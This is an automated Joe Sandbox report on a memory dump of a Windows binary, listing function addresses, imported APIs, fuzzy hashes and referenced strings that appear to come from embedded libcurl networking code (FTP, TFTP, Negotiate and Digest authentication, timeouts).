Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freememcpy$malloc
String ID: Failed to alloc scratch buffer!
API String ID: 169112436-1446904845
Opcode ID: 3c4ee3d818aefcc12f05579da5f42aec1d72f971d4148dd9a8586e3dbcbacbf3
Instruction ID: 9ac652203a1c12a8ca75aafaa9a1d7eff2cb0bdd2dd47be3610413aed625f18a
Opcode Fuzzy Hash: 3c4ee3d818aefcc12f05579da5f42aec1d72f971d4148dd9a8586e3dbcbacbf3
Instruction Fuzzy Hash: AF518F6261878596EA359B79E4402AAB7A5FB09B84F840236DF8D07775DF3CE254C320

Function 00007FF79B737DCB Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Strings

Signature: %s, xrefs: 00007FF79B7380E7
GMT, xrefs: 00007FF79B737E7E
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF79B737EEF
Signature, xrefs: 00007FF79B7380CF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$Signature
API String ID: 2190258309-3231818857
Opcode ID: ed2e198dcc3b011cc1bfcec88ea1bc6807998eeb1b1d636bf5459b77496cbc5e
Instruction ID: 0bedbef89e0251958f6f090a4f7904e40a1ee5509609fcf206bf3ce604d4c11c
Opcode Fuzzy Hash: ed2e198dcc3b011cc1bfcec88ea1bc6807998eeb1b1d636bf5459b77496cbc5e
Instruction Fuzzy Hash: 2951B362A0C6CA95EA319B38A4446B9F7A5FB49B90FD44633DA8D03774DF3CD649C320

Function 00007FF79B7231D0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 145networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF79B723376

Part of subcall function 00007FF79B73A500: memcpy.VCRUNTIME140 ref: 00007FF79B73A5A8
Part of subcall function 00007FF79B73A500: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73A5B9

Strings

FTP response aborted due to select/poll error: %d, xrefs: 00007FF79B723384
FTP response timeout, xrefs: 00007FF79B7233E3
We got a 421 - timeout!, xrefs: 00007FF79B7233B5
*, xrefs: 00007FF79B723344
QUOT string not accepted: %s, xrefs: 00007FF79B72339F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLastfreememcpy
String ID: *$FTP response aborted due to select/poll error: %d$FTP response timeout$QUOT string not accepted: %s$We got a 421 - timeout!
API String ID: 1248052217-2335292235
Opcode ID: ce28b440fd80e79cfb3aed570fb15752ff3ab504073fe0e5eae86e39c7bb4890
Instruction ID: d241b4da487f47c3dd13f4cd2789fddff3be3a3a36caf671168704f741bb67a3
Opcode Fuzzy Hash: ce28b440fd80e79cfb3aed570fb15752ff3ab504073fe0e5eae86e39c7bb4890
Instruction Fuzzy Hash: 5751B612B0C68A89FB74AA3D94443B99291FB497A4F854337DE4D872F2EE2CD7458320

Function 00007FF79B708420 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 144COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B732144
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73216A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B732178

Strings

Digest, xrefs: 00007FF79B708448
stale, xrefs: 00007FF79B7320CF
true, xrefs: 00007FF79B7320E4

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Digest$stale$true
API String ID: 1294909896-2487968700
Opcode ID: 9c368709f1f09b1f824c1af219295fc4c46f9f3305e656098ea766e5a388719d
Instruction ID: 69c344266e97e15c38fd218dfcc5f5604f27e96f598ce7ecd4327cb550678e8b
Opcode Fuzzy Hash: 9c368709f1f09b1f824c1af219295fc4c46f9f3305e656098ea766e5a388719d
Instruction Fuzzy Hash: 3E515521A08A4A81EA30AF79F950379A3A1FF4C784F944233DA9D476F1DF2CD659C720

Function 00007FF79B72BFB0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

recvfrom.WS2_32 ref: 00007FF79B72C010
memcpy.VCRUNTIME140 ref: 00007FF79B72C036
memchr.VCRUNTIME140 ref: 00007FF79B72C133

Strings

TFTP error: %s, xrefs: 00007FF79B72C150
Received too short packet, xrefs: 00007FF79B72C062
Internal error: Unexpected packet, xrefs: 00007FF79B72C0D8

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memchrmemcpyrecvfrom
String ID: Internal error: Unexpected packet$Received too short packet$TFTP error: %s
API String ID: 3107918033-477593554
Opcode ID: d3f428e3e3a515e8a76563d932edcfca6e7b97f94956f80ba8286d8b94d8e803
Instruction ID: 55e5c5df996dd1aab9aa499bb1dd7be7078847fa962daff85f2e6f2a45edd90f
Opcode Fuzzy Hash: d3f428e3e3a515e8a76563d932edcfca6e7b97f94956f80ba8286d8b94d8e803
Instruction Fuzzy Hash: 8E51F671A0858A85EB78AF3998513B9B390FB49B84F844233DE4D477B5DE3CE645C720

Function 00007FF79B6E2370 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6E6DD0: memcpy.VCRUNTIME140(?,?,?,?,00000000,00007FF79B6E23CB), ref: 00007FF79B6E6E4E
Part of subcall function 00007FF79B6E6DD0: memcpy.VCRUNTIME140(?,?,?,?,00000000,00007FF79B6E23CB), ref: 00007FF79B6E6E5C
Part of subcall function 00007FF79B6E6DD0: memcpy.VCRUNTIME140(?,?,?,?,00000000,00007FF79B6E23CB), ref: 00007FF79B6E6E72

Part of subcall function 00007FF79B6E3BB0: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF79B6E1D8B), ref: 00007FF79B6E3BF6

Part of subcall function 00007FF79B6E5DD0: memcpy.VCRUNTIME140(?,?,?,00007FF79B6E1DBA), ref: 00007FF79B6E5E61

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2469
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E24A8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E24F6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2544

Strings

at line , xrefs: 00007FF79B6E23BC
, column , xrefs: 00007FF79B6E23F9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturn
String ID: at line $, column
API String ID: 2665656946-191570568
Opcode ID: 890430c40e95218a1fdb9aaefb85cacc871825cb6ea1bef2638f859bbf7e9c6c
Instruction ID: 39fa2d923f72c625a4638da98a0d123991fe8a85fae4b2c2eff4fc259f97cd47
Opcode Fuzzy Hash: 890430c40e95218a1fdb9aaefb85cacc871825cb6ea1bef2638f859bbf7e9c6c
Instruction Fuzzy Hash: 9E519362B04A4985FB10EBB8E5443AC6323EB447E8F405331DA6D13BF9DE39E6959350

Function 00007FF79B6E4A00 Relevance: 10.6, APIs: 7, Instructions: 133COMMON

Download Yara Rule

APIs

?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,?,00000000,?,?,00007FF79B6E314B,?,?,?,00007FF79B6E3104), ref: 00007FF79B6E4A93
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,?,00000000,?,?,00007FF79B6E314B,?,?,?,00007FF79B6E3104), ref: 00007FF79B6E4AE7
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,?,00000000,?,?,00007FF79B6E314B,?,?,?,00007FF79B6E3104), ref: 00007FF79B6E4B0E
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,?,00000000,?,?,00007FF79B6E314B,?,?,?,00007FF79B6E3104), ref: 00007FF79B6E4B36
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140(?,?,00000000,?,?,00007FF79B6E314B,?,?,?,00007FF79B6E3104), ref: 00007FF79B6E4B7C
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?,00000000,?,?,00007FF79B6E314B,?,?,?,00007FF79B6E3104), ref: 00007FF79B6E4B83
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140(?,?,00000000,?,?,00007FF79B6E314B,?,?,?,00007FF79B6E3104), ref: 00007FF79B6E4B90

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 1492985063-0
Opcode ID: 0c3c29c63cd06146ca5ecee81e73198a965743d98a4285f15d7b0596151f576b
Instruction ID: 78a4165e8f4cb7af0739e3016c4ecaffb6cbcd06ae4030cc6ced4a25d8faa5e9
Opcode Fuzzy Hash: 0c3c29c63cd06146ca5ecee81e73198a965743d98a4285f15d7b0596151f576b
Instruction Fuzzy Hash: FF51862260864581EB309F7ED18023CE7A2EB84F95F55C235CA6E437B4CF3EE6568714

Function 00007FF79B730B30 Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 129COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,Negotiate,?,00007FF79B7144C6), ref: 00007FF79B730C8D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,Negotiate,?,00007FF79B7144C6), ref: 00007FF79B730CA3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B730CB5

Strings

Proxy-, xrefs: 00007FF79B730C5D
Negotiate, xrefs: 00007FF79B730B36, 00007FF79B730C12
%sAuthorization: Negotiate %s, xrefs: 00007FF79B730C6E
Curl_output_negotiate, no persistent authentication: cleanup existing context, xrefs: 00007FF79B730BE1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: %sAuthorization: Negotiate %s$Curl_output_negotiate, no persistent authentication: cleanup existing context$Negotiate$Proxy-
API String ID: 1294909896-1255959952
Opcode ID: e970562c74868112c6df1a03012bf8c95489708dae6951303b259dec22d0baf0
Instruction ID: a79b3ced3e242f19e5f7820878c640e206209247384c061b57c2fc733d0e71ce
Opcode Fuzzy Hash: e970562c74868112c6df1a03012bf8c95489708dae6951303b259dec22d0baf0
Instruction Fuzzy Hash: 8F51C82290864A96FB21DB39E4803FDA791FB45B54F880133DA4D436B1DF3DE659C361

Function 00007FF79B72EE87 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: 86de3d7c9fee03b22631dcbbad5bbc54ee5ca30d69bbecc19bfd3f20b0975ccf
Instruction ID: 1509e78396314216701c5597adefcbed1b290d3f1491bc5d670d3504f537cf7c
Opcode Fuzzy Hash: 86de3d7c9fee03b22631dcbbad5bbc54ee5ca30d69bbecc19bfd3f20b0975ccf
Instruction Fuzzy Hash: 2141C21290D2CA45FA76AB399010379AA91EF4D794F880777DA9E0A3F1DE3DE6048330

Function 00007FF79B72EE77 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: e87370a5869864d495002ca49e55217450b4e01ac38c04b7491b294906ca183f
Instruction ID: 9794f8a1507f576a82e71968a6100cf9fdff598b6a4150102b9bcf8e8c4509d4
Opcode Fuzzy Hash: e87370a5869864d495002ca49e55217450b4e01ac38c04b7491b294906ca183f
Instruction Fuzzy Hash: DC41D20290D2CA45FA76AB399014379AA91DF0D790F880777DA9E0A3F1DE3DE6448330

Function 00007FF79B72EE22 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: 9dce3a1e02d3dd0decdb27a30e4dbabf375221b931b30d07f11530cfea0de688
Instruction ID: a5917352a2d9d259b52ba581499ad6b760e8e1590dc2ae089fef16dc52bdc8c9
Opcode Fuzzy Hash: 9dce3a1e02d3dd0decdb27a30e4dbabf375221b931b30d07f11530cfea0de688
Instruction Fuzzy Hash: 1741D30290D28A45FA76AB399014379AA91DF0D790F880777DE9E0A3F1EE3DE6448330

Function 00007FF79B72EDDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: eb8acf01f820f75c68904246a9ece804f2211bd47c51cec25c3a42db63dbcaa7
Instruction ID: 480bab8ec164b447c4802cdf1a94e2048977fc250875f99b7855482db7dbb757
Opcode Fuzzy Hash: eb8acf01f820f75c68904246a9ece804f2211bd47c51cec25c3a42db63dbcaa7
Instruction Fuzzy Hash: 7941C31290D2DA45FA76AB399014379AA91DF0D790F880777DE9E0A3F1DE3DE6448331

Function 00007FF79B72EDEA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: e7d4bbfd5b38bbbd6d8bf0e475cbd4f94a9fc81eb8a3b1b531cbd017f784b84c
Instruction ID: e6c8f41f76e21c247c0bb90f5e6764ca29eedbef0c223b7ea1599265bc3463a9
Opcode Fuzzy Hash: e7d4bbfd5b38bbbd6d8bf0e475cbd4f94a9fc81eb8a3b1b531cbd017f784b84c
Instruction Fuzzy Hash: 2E41C31290D29A45FA76AB395014379AA91DF0D790F880777DE9E0A3F1DE3DE6448331

Function 00007FF79B72EDF8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: eeb42b2a52bbdab434df15e2a6555f120b688906af1e5a0ec8f7357212fa5c02
Instruction ID: 58f67c1158b7985940847b508a1732e10f688ac41fc3958ba6a3e51c8ad54aa8
Opcode Fuzzy Hash: eeb42b2a52bbdab434df15e2a6555f120b688906af1e5a0ec8f7357212fa5c02
Instruction Fuzzy Hash: 0141C312D0D29A45FA76AB395014379AA91DF0D790F880777DE9E0A3F1DE3DE6448331

Function 00007FF79B72EEAD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$_strdup
String ID: %%%02x
API String ID: 1941130848-4020994737
Opcode ID: 89f36e15c459582ef8a19abe2e0c0d18899e06bfa663bf0be4ff2b53d824261c
Instruction ID: 95ec6b1a3fa62120a85d5d7b6c4ec4ff2d356a9727cd3decc85d9ea4e372613e
Opcode Fuzzy Hash: 89f36e15c459582ef8a19abe2e0c0d18899e06bfa663bf0be4ff2b53d824261c
Instruction Fuzzy Hash: B241C41290D29A45FA76AB399014379AB91DF0D790F880777DE9E0A3F1DE3DE6448331

Function 00007FF79B72CB00 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 109COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF79B72CB18
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF79B72CC81

Strings

Connection time-out, xrefs: 00007FF79B72CB3B
gfff, xrefs: 00007FF79B72CB8C
set timeouts for state %d; Total %ld, retry %d maxtry %d, xrefs: 00007FF79B72CC5C
gfff, xrefs: 00007FF79B72CBF8

